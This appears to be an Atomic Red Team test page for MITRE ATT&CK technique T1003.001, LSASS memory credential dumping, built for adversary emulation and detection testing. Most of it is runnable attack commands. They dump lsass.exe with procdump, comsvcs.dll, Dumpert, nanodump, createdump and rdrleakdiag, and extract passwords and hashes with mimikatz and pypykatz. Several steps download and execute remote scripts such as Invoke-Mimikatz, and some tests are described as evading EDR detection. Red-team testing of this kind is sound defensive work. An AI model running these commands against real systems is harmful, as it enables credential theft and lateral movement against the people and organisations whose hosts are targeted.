Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct Lateral Movement using Use Alternate Authentication Material.
As well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.
For example, on the target host use procdump:
procdump -ma lsass.exe lsass_dump
Locally, mimikatz can be run using:
sekurlsa::Minidump lsassdump.dmp
sekurlsa::logonPasswords
Built-in Windows tools such as
comsvcs.dll
can also be used:
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump PID lsass.dmp full
(Citation: Volexity Exchange Marauder March 2021)(Citation: Symantec Attacks Against Government Sector)Similar to Image File Execution Options Injection, the silent process exit mechanism can be abused to create a memory dump of
lsass.exe
through Windows Error Reporting (WerFault.exe
).(Citation: Deep Instinct LSASS)Windows Security Support Provider (SSP) DLLs are loaded into LSASS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys:
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages
andHKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages
. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)The following SSPs can be used to access credentials:
- Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.
- Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges.(Citation: TechNet Blogs Credential Protection)
- Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.
- CredSSP: Provides SSO and Network Level Authentication for Remote Desktop Services.(Citation: TechNet Blogs Credential Protection)
-
Atomic Test #3 - Dump LSASS.exe Memory using direct system calls and API unhooking
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Atomic Test #5 - Dump LSASS.exe Memory using Windows Task Manager
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Atomic Test #8 - Dump LSASS.exe Memory using Out-Minidump.ps1
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Atomic Test #9 - Create Mini Dump of LSASS.exe using ProcDump
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Atomic Test #11 - Dump LSASS with createdump.exe from .Net v5
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Atomic Test #12 - Dump LSASS.exe using imported Microsoft DLLs
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Atomic Test #13 - Dump LSASS.exe using lolbin rdrleakdiag.exe
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Atomic Test #14 - Dump LSASS.exe Memory through Silent Process Exit
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals ProcDump.
Upon successful execution, you should see the following file created c:\windows\temp\lsass_dump.dmp.
If you see a message saying "procdump.exe is not recognized as an internal or external command", try using the get-prereq_commands to download and install the ProcDump tool first.
Supported Platforms: Windows
auto_generated_guid: 0be2230c-9ab3-4ac2-8826-3199b9a0ebf8
Name | Description | Type | Default Value |
---|---|---|---|
output_file | Path where resulting dump should be placed | path | C:\Windows\Temp\lsass_dump.dmp |
procdump_exe | Path of Procdump executable | path | PathToAtomicsFolder\..\ExternalPayloads\procdump.exe |
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
del "#{output_file}" >nul 2> nul
Description: ProcDump tool from Sysinternals must exist on disk at specified location (#{procdump_exe})
if (Test-Path "#{procdump_exe}") {exit 0} else {exit 1}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://download.sysinternals.com/files/Procdump.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\Procdump.zip"
Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\Procdump.zip" "PathToAtomicsFolder\..\ExternalPayloads\Procdump" -Force
New-Item -ItemType Directory (Split-Path "#{procdump_exe}") -Force | Out-Null
Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\Procdump\Procdump.exe" "#{procdump_exe}" -Force
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with a built-in dll.
Upon successful execution, you should see the following file created $env:TEMP\lsass-comsvcs.dmp.
Supported Platforms: Windows
auto_generated_guid: 2536dee2-12fb-459a-8c37-971844fa73be
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
Remove-Item $env:TEMP\lsass-comsvcs.dmp -ErrorAction Ignore
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved using direct system calls and API unhooking in an effort to avoid detection. https://github.com/outflanknl/Dumpert https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/ Upon successful execution, you should see the following file created C:\windows\temp\dumpert.dmp.
If you see a message saying "The system cannot find the path specified.", try using the get-prereq_commands to download the tool first.
Supported Platforms: Windows
auto_generated_guid: 7ae7102c-a099-45c8-b985-4c7a2d05790d
Name | Description | Type | Default Value |
---|---|---|---|
dumpert_exe | Path of Dumpert executable | path | PathToAtomicsFolder\..\ExternalPayloads\Outflank-Dumpert.exe |
"#{dumpert_exe}"
del C:\windows\temp\dumpert.dmp >nul 2> nul
if (Test-Path "#{dumpert_exe}") {exit 0} else {exit 1}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -ItemType Directory (Split-Path "#{dumpert_exe}") -Force | Out-Null
Invoke-WebRequest "https://github.com/clr2of8/Dumpert/raw/5838c357224cc9bc69618c80c2b5b2d17a394b10/Dumpert/x64/Release/Outflank-Dumpert.exe" -OutFile "#{dumpert_exe}"
The NanoDump tool uses syscalls and an invalid dump signature to avoid detection.
https://github.com/helpsystems/nanodump
Upon successful execution, you should find the nanondump.dmp file in the temp directory
Supported Platforms: Windows
auto_generated_guid: dddd4aca-bbed-46f0-984d-e4c5971c51ea
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
del "%temp%\nanodump.dmp" >nul 2> nul
Description: NanoDump executable must exist on disk at specified location (PathToAtomicsFolder..\ExternalPayloads\nanodump.x64.exe)
if (Test-Path PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe) {exit 0} else {exit 1}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://github.com/fortra/nanodump/raw/2c0b3d5d59c56714312131de9665defb98551c27/dist/nanodump.x64.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe"
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with the Windows Task Manager and administrative permissions.
Supported Platforms: Windows
auto_generated_guid: dea6c349-f1c6-44f3-87a1-1ed33a59a607
-
Open Task Manager: On a Windows system this can be accomplished by pressing CTRL-ALT-DEL and selecting Task Manager or by right-clicking on the task bar and selecting "Task Manager".
-
Select lsass.exe: If lsass.exe is not visible, select "Show processes from all users". This will allow you to observe execution of lsass.exe and select it for manipulation.
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Dump lsass.exe memory: Right-click on lsass.exe in Task Manager. Select "Create Dump File". The following dialog will show you the path to the saved file.
The memory of lsass.exe is often dumped for offline credential theft attacks. Adversaries commonly perform this offline analysis with Mimikatz. This tool is available at https://github.com/gentilkiwi/mimikatz and can be obtained using the get-prereq_commands.
Supported Platforms: Windows
auto_generated_guid: 453acf13-1dbd-47d7-b28a-172ce9228023
Name | Description | Type | Default Value |
---|---|---|---|
input_file | Path of the Lsass dump | path | %tmp%\lsass.DMP |
mimikatz_exe | Path of the Mimikatz binary | string | PathToAtomicsFolder\..\ExternalPayloads\x64\mimikatz.exe |
"#{mimikatz_exe}" "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
if (Test-Path "#{mimikatz_exe}") {exit 0} else {exit 1}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1" -UseBasicParsing)
$releases = "https://api.github.com/repos/gentilkiwi/mimikatz/releases"
$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(".zip") }
$basePath = Split-Path "#{mimikatz_exe}" | Split-Path
Invoke-FetchFromZip $zipUrl "x64/mimikatz.exe" $basePath
cmd /c "if not exist #{input_file} (exit /b 1)"
Write-Host "Create the lsass dump manually using the steps in the previous test (Dump LSASS.exe Memory using Windows Task Manager)"
Parses secrets hidden in the LSASS process with python. Similar to mimikatz's sekurlsa::
Python 3 must be installed, use the get_prereq_command's to meet the prerequisites for this test.
Successful execution of this test will display multiple usernames and passwords/hashes to the screen.
Will create a Python virtual environment within the External Payloads folder that can be deleted manually post test execution.
Supported Platforms: Windows
auto_generated_guid: c37bc535-5c62-4195-9cc3-0517673171d8
Name | Description | Type | Default Value |
---|---|---|---|
venv_path | Path to the folder for the tactics venv | string | PathToAtomicsFolder\..\ExternalPayloads\venv_t1003_001 |
"#{venv_path}\Scripts\pypykatz" live lsa
del "%temp%\nanodump.dmp" > nul 2> nul
if (Get-Command py -errorAction SilentlyContinue) { exit 0 } else { exit 1 }
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction ignore -Force | Out-Null
invoke-webrequest "https://www.python.org/ftp/python/3.10.4/python-3.10.4-amd64.exe" -outfile "PathToAtomicsFolder\..\ExternalPayloads\python_setup.exe"
Start-Process -FilePath "PathToAtomicsFolder\..\ExternalPayloads\python_setup.exe" -ArgumentList "/quiet InstallAllUsers=1 PrependPath=1 Include_test=0" -Wait
if (Test-Path -Path "#{venv_path}") { exit 0 } else { exit 1 }
py -m venv "#{venv_path}"
if (Get-Command "#{venv_path}\Scripts\pypykatz" -errorAction SilentlyContinue) { exit 0 } else { exit 1 }
& "#{venv_path}\Scripts\pip.exe" install --no-cache-dir pypykatz 2>&1 | Out-Null
The memory of lsass.exe is often dumped for offline credential theft attacks. This test leverages a pure powershell implementation that leverages the MiniDumpWriteDump Win32 API call. Upon successful execution, you should see the following file created $env:TEMP\lsass_*.dmp.
Author of Out-Minidump: Matthew Graeber (@mattifestation)
Supported Platforms: Windows
auto_generated_guid: 6502c8f0-b775-4dbd-9193-1298f56b6781
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1') -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
Remove-Item $env:TEMP\lsass_*.dmp -ErrorAction Ignore
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals ProcDump. This particular method uses -mm to produce a mini dump of lsass.exe
Upon successful execution, you should see the following file created c:\windows\temp\lsass_dump.dmp.
If you see a message saying "procdump.exe is not recognized as an internal or external command", try using the get-prereq_commands to download and install the ProcDump tool first.
Supported Platforms: Windows
auto_generated_guid: 7cede33f-0acd-44ef-9774-15511300b24b
Name | Description | Type | Default Value |
---|---|---|---|
output_file | Path where resulting dump should be placed | path | C:\Windows\Temp\lsass_dump.dmp |
procdump_exe | Path of Procdump executable | path | PathToAtomicsFolder\..\ExternalPayloads\procdump.exe |
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
del "#{output_file}" >nul 2> nul
Description: ProcDump tool from Sysinternals must exist on disk at specified location (#{procdump_exe})
if (Test-Path "#{procdump_exe}") {exit 0} else {exit 1}
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://download.sysinternals.com/files/Procdump.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\Procdump.zip"
Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\Procdump.zip" "PathToAtomicsFolder\..\ExternalPayloads\Procdump" -Force
New-Item -ItemType Directory (Split-Path "#{procdump_exe}") -Force | Out-Null
Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\Procdump\Procdump.exe" "#{procdump_exe}" -Force
Dumps credentials from memory via Powershell by invoking a remote mimikatz script. If Mimikatz runs successfully you will see several usernames and hashes output to the screen. Common failures include seeing an "access denied" error which results when Anti-Virus blocks execution. Or, if you try to run the test without the required administrative privileges you will see this error near the bottom of the output to the screen "ERROR kuhl_m_sekurlsa_acquireLSA"
Supported Platforms: Windows
auto_generated_guid: 66fb0bc1-3c3f-47e9-a298-550ecfefacbc
Name | Description | Type | Default Value |
---|---|---|---|
remote_script | URL to a remote Mimikatz script that dumps credentials | url | https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1 |
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
Use createdump executable from .NET to create an LSASS dump.
Supported Platforms: Windows
auto_generated_guid: 9d0072c8-7cca-45c4-bd14-f852cfa35cf0
$exePath = resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
Remove-Item $env:Temp\dotnet-lsass.dmp -ErrorAction Ignore
$exePath = resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
if ($exePath -and (Test-Path $exePath)) {exit 0} else {exit 1}
winget install Microsoft.DotNet.DesktopRuntime.5 --accept-source-agreements --accept-package-agreements --silent
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved by importing built-in DLLs and calling exported functions. Xordump will re-read the resulting minidump file and delete it immediately to avoid brittle EDR detections that signature lsass minidump files.
Upon successful execution, you should see the following file created $env:TEMP\lsass-xordump.t1003.001.dmp.
Supported Platforms: Windows
auto_generated_guid: 86fc3f40-237f-4701-b155-81c01c48d697
Name | Description | Type | Default Value |
---|---|---|---|
xordump_exe | Path to xordump | path | C:\Windows\Temp\xordump.exe |
output_file | Path where resulting dump should be placed | path | C:\Windows\Temp\lsass-xordump.t1003.001.dmp |
#{xordump_exe} -out #{output_file} -x 0x41
Remove-Item #{output_file} -ErrorAction Ignore
if (Test-Path '#{xordump_exe}') {exit 0} else {exit 1}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Invoke-WebRequest "https://github.com/audibleblink/xordump/releases/download/v0.0.1/xordump.exe" -OutFile #{xordump_exe}
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with lolbin rdrleakdiag.exe.
Upon successful execution, you should see the following files created, $env:TEMP\minidump_.dmp and $env:TEMP\results_.hlk.
Supported Platforms: Windows
auto_generated_guid: 47a539d1-61b9-4364-bf49-a68bc2a95ef0
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
} elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
} else {
$binary_path = "File not found"
exit 1
}
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force}
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
Remove-Item $env:TEMP\t1003.001-13-rdrleakdiag -Recurse -Force -ErrorAction Ignore
WerFault.exe (Windows Error Reporting process that handles process crashes) can be abused to create a memory dump of lsass.exe, in a directory of your choice. This method relies on a mechanism introduced in Windows 7 called Silent Process Exit, which provides the ability to trigger specific actions for a monitored process in one of two scenarios; either the process terminates itself by calling ExitProcess(), or another process terminates it via the TerminateProcess() API. The major advantage of this technique is that it does not cause lsass.exe to crash, and since WerFault.exe is used to create file dumps all the time (not just lsass.exe), this method provides the added advantage of going undetected. WerFault.exe is a process known for dumping every crashing process, from an attacker standpoint this is appealing as their illicit credential extraction will appear benign because from a defender’s viewpoint it’s within the realm of normal activity.
Upon successful execution, you should find the dump file in directory of your choice or "%temp%\SilentProcessExit" by default.
Supported Platforms: Windows
auto_generated_guid: eb5adf16-b601-4926-bca7-dad22adffb37
Name | Description | Type | Default Value |
---|---|---|---|
output_folder | Folder Path where resulting dump should be placed | path | %temp%\SilentProcessExit |
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
rmdir "#{output_folder}" /s /q >nul 2> nul
Description: NanoDump executable must exist on disk at specified location (PathToAtomicsFolder..\ExternalPayloads\nanodump.x64.exe)
if (Test-Path PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe) {exit 0} else {exit 1}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://github.com/fortra/nanodump/raw/2c0b3d5d59c56714312131de9665defb98551c27/dist/nanodump.x64.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe"